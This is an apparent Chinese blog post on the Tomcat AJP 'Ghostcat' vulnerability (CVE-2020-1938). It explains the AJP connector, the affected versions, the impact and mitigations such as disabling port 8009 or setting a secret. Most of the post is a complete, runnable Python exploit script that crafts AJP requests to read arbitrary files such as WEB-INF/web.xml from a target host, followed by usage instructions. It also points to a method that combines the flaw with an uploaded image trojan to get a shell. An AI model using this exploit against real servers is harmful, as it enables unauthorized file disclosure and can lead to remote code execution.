• CVE-2020-1938 -Tomcat-AJP任意文件读取/包含


    为什么这个漏洞被称作 Ghostcat(幽灵猫)?

    这个漏洞影响全版本默认配置下的 Tomcat(在我们发现此漏洞的时候,确认其影响 Tomcat 9/8/7/6 全版本,而年代过于久远的更早的版本未进行验证),这意味着它在 Tomcat 里已经潜伏了长达十多年的时间。

    Tomcat AJP Connector 是什么?

    Tomcat Connector 是 Tomcat 与外部连接的通道,它使得 Catalina 能够接收来自外部的请求,传递给对应的 Web 应用程序处理,并返回请求的响应结果。

    默认情况下,Tomcat 配置了两个 Connector,它们分别是 HTTP Connector 和 AJP Connector:

    HTTP Connector:用于处理 HTTP 协议的请求(HTTP/1.1),默认监听地址为 0.0.0.0:8080

    AJP Connector:用于处理 AJP 协议的请求(AJP/1.3),默认监听地址为 0.0.0.0:8009

    HTTP Connector 就是用来提供我们经常用到的 HTTP Web 服务。而 AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol),AJP 协议可以理解为 HTTP 协议的二进制性能优化版本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。

    Ghostcat 漏洞有哪些危害?

    通过 Ghostcat 漏洞,攻击者可以读取 Tomcat所有 webapp目录下的任意文件。

    此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害。

    哪些版本的 Tomcat 受到 Ghostcat 漏洞影响?

    Apache Tomcat 9.x < 9.0.31

    Apache Tomcat 8.x < 8.5.51

    Apache Tomcat 7.x < 7.0.100

    Apache Tomcat 6.x

    什么情况下的 Tomcat 可以被 Ghostcat 漏洞利用?

    对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。

    注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009

    修复方案

    临时禁用AJP协议端口,在conf/server.xm l配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />

    配置ajp配置中的secretRequired跟secret属性来限制认证

    漏洞验证脚本

    #!/usr/bin/env python
    #CNVD-2020-10487  Tomcat-Ajp lfi
    #by ydhcui
    import struct
    
    # Some references:
    # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
    def pack_string(s):
        if s is None:
            return struct.pack(">h", -1)
        l = len(s)
        return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
    def unpack(stream, fmt):
        size = struct.calcsize(fmt)
        buf = stream.read(size)
        return struct.unpack(fmt, buf)
    def unpack_string(stream):
        size, = unpack(stream, ">h")
        if size == -1: # null string
            return None
        res, = unpack(stream, "%ds" % size)
        stream.read(1) # 0
        return res
    class NotFoundException(Exception):
        pass
    class AjpBodyRequest(object):
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        MAX_REQUEST_LENGTH = 8186
        def __init__(self, data_stream, data_len, data_direction=None):
            self.data_stream = data_stream
            self.data_len = data_len
            self.data_direction = data_direction
        def serialize(self):
            data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
            if len(data) == 0:
                return struct.pack(">bbH", 0x12, 0x34, 0x00)
            else:
                res = struct.pack(">H", len(data))
                res += data
            if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
                header = struct.pack(">bbH", 0x12, 0x34, len(res))
            else:
                header = struct.pack(">bbH", 0x41, 0x42, len(res))
            return header + res
        def send_and_receive(self, socket, stream):
            while True:
                data = self.serialize()
                socket.send(data)
                r = AjpResponse.receive(stream)
                while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                    r = AjpResponse.receive(stream)
    
                if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                    break
    class AjpForwardRequest(object):
        _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
        REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        COMMON_HEADERS = ["SC_REQ_ACCEPT",
            "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
            "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
            "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
        ]
        ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
        def __init__(self, data_direction=None):
            self.prefix_code = 0x02
            self.method = None
            self.protocol = None
            self.req_uri = None
            self.remote_addr = None
            self.remote_host = None
            self.server_name = None
            self.server_port = None
            self.is_ssl = None
            self.num_headers = None
            self.request_headers = None
            self.attributes = None
            self.data_direction = data_direction
        def pack_headers(self):
            self.num_headers = len(self.request_headers)
            res = ""
            res = struct.pack(">h", self.num_headers)
            for h_name in self.request_headers:
                if h_name.startswith("SC_REQ"):
                    code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                    res += struct.pack("BB", 0xA0, code)
                else:
                    res += pack_string(h_name)
    
                res += pack_string(self.request_headers[h_name])
            return res
    
        def pack_attributes(self):
            res = b""
            for attr in self.attributes:
                a_name = attr['name']
                code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
                res += struct.pack("b", code)
                if a_name == "req_attribute":
                    aa_name, a_value = attr['value']
                    res += pack_string(aa_name)
                    res += pack_string(a_value)
                else:
                    res += pack_string(attr['value'])
            res += struct.pack("B", 0xFF)
            return res
        def serialize(self):
            res = ""
            res = struct.pack("bb", self.prefix_code, self.method)
            res += pack_string(self.protocol)
            res += pack_string(self.req_uri)
            res += pack_string(self.remote_addr)
            res += pack_string(self.remote_host)
            res += pack_string(self.server_name)
            res += struct.pack(">h", self.server_port)
            res += struct.pack("?", self.is_ssl)
            res += self.pack_headers()
            res += self.pack_attributes()
            if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
                header = struct.pack(">bbh", 0x12, 0x34, len(res))
            else:
                header = struct.pack(">bbh", 0x41, 0x42, len(res))
            return header + res
        def parse(self, raw_packet):
            stream = StringIO(raw_packet)
            self.magic1, self.magic2, data_len = unpack(stream, "bbH")
            self.prefix_code, self.method = unpack(stream, "bb")
            self.protocol = unpack_string(stream)
            self.req_uri = unpack_string(stream)
            self.remote_addr = unpack_string(stream)
            self.remote_host = unpack_string(stream)
            self.server_name = unpack_string(stream)
            self.server_port = unpack(stream, ">h")
            self.is_ssl = unpack(stream, "?")
            self.num_headers, = unpack(stream, ">H")
            self.request_headers = {}
            for i in range(self.num_headers):
                code, = unpack(stream, ">H")
                if code > 0xA000:
                    h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
                else:
                    h_name = unpack(stream, "%ds" % code)
                    stream.read(1) # 0
                h_value = unpack_string(stream)
                self.request_headers[h_name] = h_value
        def send_and_receive(self, socket, stream, save_cookies=False):
            res = []
            i = socket.sendall(self.serialize())
            if self.method == AjpForwardRequest.POST:
                return res
    
            r = AjpResponse.receive(stream)
            assert r.prefix_code == AjpResponse.SEND_HEADERS
            res.append(r)
            if save_cookies and 'Set-Cookie' in r.response_headers:
                self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
    
            # read body chunks and end response packets
            while True:
                r = AjpResponse.receive(stream)
                res.append(r)
                if r.prefix_code == AjpResponse.END_RESPONSE:
                    break
                elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                    continue
                else:
                    raise NotImplementedError
                    break
    
            return res
    
    class AjpResponse(object):
        _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
        COMMON_SEND_HEADERS = [
                "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
                "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
                ]
        def parse(self, stream):
            # read headers
            self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
    
            if self.prefix_code == AjpResponse.SEND_HEADERS:
                self.parse_send_headers(stream)
            elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                self.parse_send_body_chunk(stream)
            elif self.prefix_code == AjpResponse.END_RESPONSE:
                self.parse_end_response(stream)
            elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
                self.parse_get_body_chunk(stream)
            else:
                raise NotImplementedError
    
        def parse_send_headers(self, stream):
            self.http_status_code, = unpack(stream, ">H")
            self.http_status_msg = unpack_string(stream)
            self.num_headers, = unpack(stream, ">H")
            self.response_headers = {}
            for i in range(self.num_headers):
                code, = unpack(stream, ">H")
                if code <= 0xA000: # custom header
                    h_name, = unpack(stream, "%ds" % code)
                    stream.read(1) # 0
                    h_value = unpack_string(stream)
                else:
                    h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
                    h_value = unpack_string(stream)
                self.response_headers[h_name] = h_value
    
        def parse_send_body_chunk(self, stream):
            self.data_length, = unpack(stream, ">H")
            self.data = stream.read(self.data_length+1)
    
        def parse_end_response(self, stream):
            self.reuse, = unpack(stream, "b")
    
        def parse_get_body_chunk(self, stream):
            rlen, = unpack(stream, ">H")
            return rlen
    
        @staticmethod
        def receive(stream):
            r = AjpResponse()
            r.parse(stream)
            return r
    
    import socket
    
    def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
        fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
        fr.method = method
        fr.protocol = "HTTP/1.1"
        fr.req_uri = req_uri
        fr.remote_addr = target_host
        fr.remote_host = None
        fr.server_name = target_host
        fr.server_port = 80
        fr.request_headers = {
            'SC_REQ_ACCEPT': 'text/html',
            'SC_REQ_CONNECTION': 'keep-alive',
            'SC_REQ_CONTENT_LENGTH': '0',
            'SC_REQ_HOST': target_host,
            'SC_REQ_USER_AGENT': 'Mozilla',
            'Accept-Encoding': 'gzip, deflate, sdch',
            'Accept-Language': 'en-US,en;q=0.5',
            'Upgrade-Insecure-Requests': '1',
            'Cache-Control': 'max-age=0'
        }
        fr.is_ssl = False
        fr.attributes = []
        return fr
    
    class Tomcat(object):
        def __init__(self, target_host, target_port):
            self.target_host = target_host
            self.target_port = target_port
    
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self.socket.connect((target_host, target_port))
            self.stream = self.socket.makefile("rb", bufsize=0)
    
        def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
            self.req_uri = req_uri
            self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
            print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
            if user is not None and password is not None:
                self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('
    ', '')
            for h in headers:
                self.forward_request.request_headers[h] = headers[h]
            for a in attributes:
                self.forward_request.attributes.append(a)
            responses = self.forward_request.send_and_receive(self.socket, self.stream)
            if len(responses) == 0:
                return None, None
            snd_hdrs_res = responses[0]
            data_res = responses[1:-1]
            if len(data_res) == 0:
                print("No data in response. Headers:%s
    " % snd_hdrs_res.response_headers)
            return snd_hdrs_res, data_res
    
    '''
    javax.servlet.include.request_uri
    javax.servlet.include.path_info
    javax.servlet.include.servlet_path
    '''
    
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument("target", type=str, help="Hostname or IP to attack")
    parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
    parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
    args = parser.parse_args()
    t = Tomcat(args.target, args.port)
    _,data = t.perform_request('/asdf',attributes=[
        {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
        {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
        {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
        ])
    print('----------------------------')
    print("".join([d.data for d in data]))

    用法

    python CNVD-2020-10487-Tomcat-Ajp-lfi.py 目标ip     存在以下界面说明存在

    目前找了很多文章和资料,都没有找到合适的exp和方法,唯一一篇,是要配合上传图片马getshell

    https://blog.csdn.net/SouthWind0/article/details/105147369/    

    待续。。。。

  • 相关阅读:
    根据经纬度获取距离
    获取本浏览器经纬度坐标
    仿造mongodb的存储方式存一些假数据
    ty修饰符 public private static
    ty 枚举类型
    限制字符串的选择
    typeScript类型别名
    ty 函数的讲解
    ty数组的讲解
    接口的讲解
  • 原文地址:https://www.cnblogs.com/null1433/p/12704000.html
Copyright © 2020-2023  润新知